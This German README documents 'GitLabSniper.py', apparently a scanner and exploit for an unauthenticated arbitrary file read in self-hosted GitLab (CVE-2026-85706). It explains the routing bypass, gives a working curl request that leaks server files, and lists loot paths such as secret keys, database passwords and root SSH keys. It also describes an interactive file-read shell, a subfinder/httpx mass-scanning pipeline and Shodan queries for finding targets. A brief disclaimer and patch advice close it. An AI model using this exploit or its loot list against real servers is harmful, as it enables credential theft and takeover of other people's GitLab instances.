
Einzeldatei-Python-Scanner und Exploit für CVE-2026-85706, ein nicht authentifizierter beliebiger Datei-Lesezugriff in selbstverwaltetem GitLab CE/EE, mit Projekt-Enumeration, Loot-Pfaden und einer interaktiven Shell.
CVE-2026-85706 — GitLab CE/EE unauthentifiziertes beliebiges Datei-Lesen
Erkennung · Enumeration öffentlicher Projekte · Loot · interaktive Shell · subfinder/httpx-Pipeline
Autor: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Website: ynsmroztas.github.io
Mail: [email protected]
Nur auf Systemen verwenden, die du besitzt oder für die du ausdrücklich eine Testgenehmigung hast (Bug Bounty / VDP / schriftlicher Vertrag).
GitLabSniper.py ist ein Single-File-Python-Scanner/Exploit für CVE-2026-85706: ein unauthentifiziertes lokales Datei-Lesen in selbst gehosteten GitLab Community Edition und Enterprise Edition.
Es bleibt nicht bei „Version sieht betroffen aus“ stehen. Es feuert den Workhorse-Parser-Differential-Bypass ab, klassifiziert die Rails-Antwort und gibt nur dann FILE LEAK aus, wenn der 400-Body die Dateibytes innerhalb von invalid %-encoding (...) enthält.
| Band | Versionen |
|---|---|
| Betroffen | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Gepatcht | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Nicht im Scope | gitlab.com · GitLab Dedicated |
Drei Repository-Endpunkte sitzen hinter Workhorse requestBodyUploader:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails nimmt das rohe file.path-Feld und führt File.open vor authenticate! aus. require_gitlab_workhorse! ist hier kein echtes Gate: Workhorse stempelt bereits ein gültiges Gitlab-Workhorse-Api-Request-JWT auf alles, was es proxyt.
Workhorse sollte den Upload eigentlich zuerst umschreiben. Sein Route-Regex matcht EscapedPath() und einen path.Clean-Klon, der niemals prozent-dekodiert. Puma dekodiert %XX jedoch vor dem Grape-Routing.
Angreifer
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← auch der abschließende Slash rutscht durch
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse Regex sieht "%63ommits" / "commits/" → MISS (kein Rewrite)
│
▼
Puma dekodiert %63 → commits → ROUTET zu Rails
│
▼
Rails File.open(params[:file][:path]) → VOR der Auth
│
▼
Rack parse_nested_query(File.read(path))
verirrtes "%", das kein %HH ist
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<rohe Dateibytes>)
Ein leeres file= erfüllt requires :file, WorkhorseFile (leer → nil). Der Leak-Kanal ist der urlencoded-Zweig. JSON/Oj gibt Dateibytes nicht auf dieselbe Weise zurück — das Tool sendet immer Content-Type=application/x-www-form-urlencoded.
//, /./, %2F und ; umgehen nicht: path.Clean normalisiert die ersten beiden und Puma lehnt %2F ab.
Die Projekt-ID ist nicht „aus welchem Repo Dateien gestohlen werden“. file.path ist ein absoluter Serverpfad. Die ID ist nur das URL-Stück, das den verwundbaren Controller erreicht.
Deshalb enumeriert das Tool GET /api/v4/projects und überspringt gated IDs.
Ein bestätigter Leak erfordert diesen Substring im Body:
invalid %-encoding (
Dateien ohne einzelnes % können trotzdem geöffnet werden (read-noecho / später branch is required), werden aber nicht zurückgegeben. Das ist ein Orakel, kein meldbarer Dump.
x-gitlab-* / Sign-in) + Versionsbereich, wenn sichtbarGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · pip install requests
python3 GitLabSniper.py -h
Python 3.10+. Keine weiteren Abhängigkeiten.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin ist kein TTY → --pipe wird impliziert
cat hosts.txt | python3 GitLabSniper.py --auto
Der Parser akzeptiert:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json-Objekte (url / status_code)host und host:port[0] / Timeout / leere ZeilenExit-Codes: 0 Leak · 1 nur Orakel / kein Leak in der Pipe · 2 kein verwertbares Signal.
Reiche kein Critical allein aufgrund von read-noecho ein.
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
Höchste Auswirkung, wenn sie zurückgegeben werden: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, DB-Passwort).
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
Eine verwundbare Instanz gibt JSON ähnlich wie folgt zurück:
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}
Auf manchen Hosts ist %63ommits 401 und /repository/commits/ (abschließender Slash) die Form, die leakt. Das Tool geht jede Variante durch.
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
Kombiniere mit subfinder | httpx | GitLabSniper.py --pipe --auto.
Dieses Repository dient autorisierten Sicherheitstests und der defensiven Validierung nach dem Patchen. Du bist für den Scope verantwortlich.
Wenn du eine selbst gehostete GitLab-Instanz im betroffenen Bereich betreibst: aktualisiere jetzt auf 19.1.8 / 19.2.6 / 19.3.2. Durchsuche Access-Logs nach POST /api/v4/projects/*/repository/commits mit einem file.path-Query-Parameter.
Schwachstelle gemeldet von s3ntago über GitLab HackerOne.
Write-up und ursprünglicher PoC, auf dem dieses Tool aufbaut:
https://github.com/guneykabel/cve-2026-85706
Dank an guneykabel für die Veröffentlichung eines klaren Klassifizierers (leak / missing / project-gate / rewrite) und der Erklärung des Workhorse ↔ Puma-Differentials. GitLabSniper umhüllt dieses Modell mit Projekt-Enum, Loot, Shell und Recon-Pipelines.
GitLab-Advisory / Patches: CE/EE 19.1.8, 19.2.6, 19.3.2.
Yunus Emre Öztaş · mitsec
[email protected]| Endpunkt | Projektanforderung |
|---|
files (%66iles) | Beliebige ID funktioniert oft — File.open liegt vor den Projektprüfungen |
commits (%63ommits, commits/, commits.json) | Benötigt ein Projekt, das ein anonymer Nutzer read_code kann. Andernfalls 404 Project Not Found |
noroute--auto-Loot-Liste (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, SSH-Keys, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI entfernt-o)| Flag | Bedeutung |
|---|
-u / -t / --target | Einzelne Basis-URL |
--pipe | Ziele von stdin lesen |
-f / --list | Datei mit Hosts |
--file | Ein absoluter Pfad zum Lesen |
--auto / --loot | Liste hochwertiger GitLab-Dateien |
--shell | Interaktive Datei-Lese-Shell |
--project-id | Projekt-ID erzwingen (Standard: Enum + Fallback) |
--max-projects | Enum/Fallback-IDs begrenzen (Standard 8) |
--force | Scannen, auch wenn der Fingerprint schwach ist |
--threads | Pipeline-Worker (Standard 8) |
--timeout | Sekunden (Standard 15) |
-o | hits.json oder hits.jsonl |
-q | Leise |
--no-banner | Kein Banner |
| Tag | Bedeutung | Melden? |
|---|
leak | invalid %-encoding ( + Dateibytes | Ja — bestätigt |
leak-fragment | Teilweiser Echo | Vielleicht, Body anhängen |
read-noecho | 401 / branch is required nach dem Öffnen, kein % in der Datei | Nur Orakel |
missing | local file not present — Bypass hat die Festplatte erreicht | Existenz-Orakel |
project-gate | 404 Project Not Found | Andere öffentliche ID versuchen |
rewrite | Workhorse hat den Body umgeschrieben (Invalid json) | Diese Form ist tot |
noroute | Einfaches 404 | Gepatcht oder falscher Pfad |
other | 500 / Rest | Body dumpen, bevor du etwas behauptest |